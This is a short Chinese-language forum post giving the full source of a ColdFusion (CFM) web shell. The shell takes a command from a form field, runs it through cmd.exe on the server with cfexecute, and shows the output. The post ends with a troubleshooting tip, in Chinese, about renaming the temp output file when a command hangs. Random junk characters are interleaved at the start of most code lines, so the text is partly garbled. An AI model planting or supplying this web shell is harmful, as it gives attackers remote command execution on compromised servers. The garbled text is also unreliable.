cfm的cmdshell使用注意

admin

cfm-cmdshell
<html>   
" S" @1 k8 e2 {1 M+ ]<head>   
+ [5 a9 e9 r3 b$ F% d7 p+ o* f<meta http-equiv="Content-Type" content="text/html; charset=gb2312">   
/ H, R9 B9 l! ]8 I, c- o<title>CFM shell</title>   
  s  `3 o. j  J0 I! @</head>   
<body>   
# h: f8 p  K- d6 q0 j" B<!--- os.run --->   
+ W$ K1 q/ d& [<cfif IsDefined("FORM.cmd")>   
& X0 N( @9 |* l* u4 D* m  A- [: d    <cfoutput>#cmd#</cfoutput>   
7 C5 E7 Z5 F: h' ?# i    <cfexecute name="C:\Winnt\System32\cmd.exe"   
7 U2 t9 y+ K& D1 C6 ^! L' o/ |           arguments="/c #cmd#"   
           outputfile="#GetTempDirectory()#foobar.txt"   
           timeout="1">   
    </cfexecute>   
</cfif>   
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">   
3 K# w9 x8 e3 R9 T3 |+ `2 p<input type=text size=45 name="cmd" >   
7 u; W2 [, W& m0 k<input type=Submit value="run">   
</form>   
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">   
! c& L# g* ~+ W4 j" A8 A! s" l1 q  <cffile action="Read"   
9 ]& G0 O/ {1 J* M, u3 h8 ~! G            file="#GetTempDirectory()#foobar.txt"   
6 d* G3 J( l; v. T            variable="readText">   
<textarea readonly cols=80 rows=20>   
% q8 {* |1 V2 f6 A; J3 j& b4 ?' U<CFOUTPUT>#readText#</CFOUTPUT>            
0 M+ D8 [4 d0 J  X1 E</textarea>   
+ n5 u8 Q2 e2 ]    <cffile action="Delete"   
            file="#GetTempDirectory()#foobar.txt">   
! O+ h# o7 K- Y, D1 U</cfif>   
</body>   
</html>   
% n) Y, \3 S) v+ h( f' g, b
有时候会发现执行某次cmd后没有正常结束，造成后面不能执行命令。这时候只要修改下shell的foobar.txt名字，几处都改一下就可以了。想来是程序未正常退出，文件被占用，写不进去了。
) `' ]. {2 \5 I5 f* m- E4 u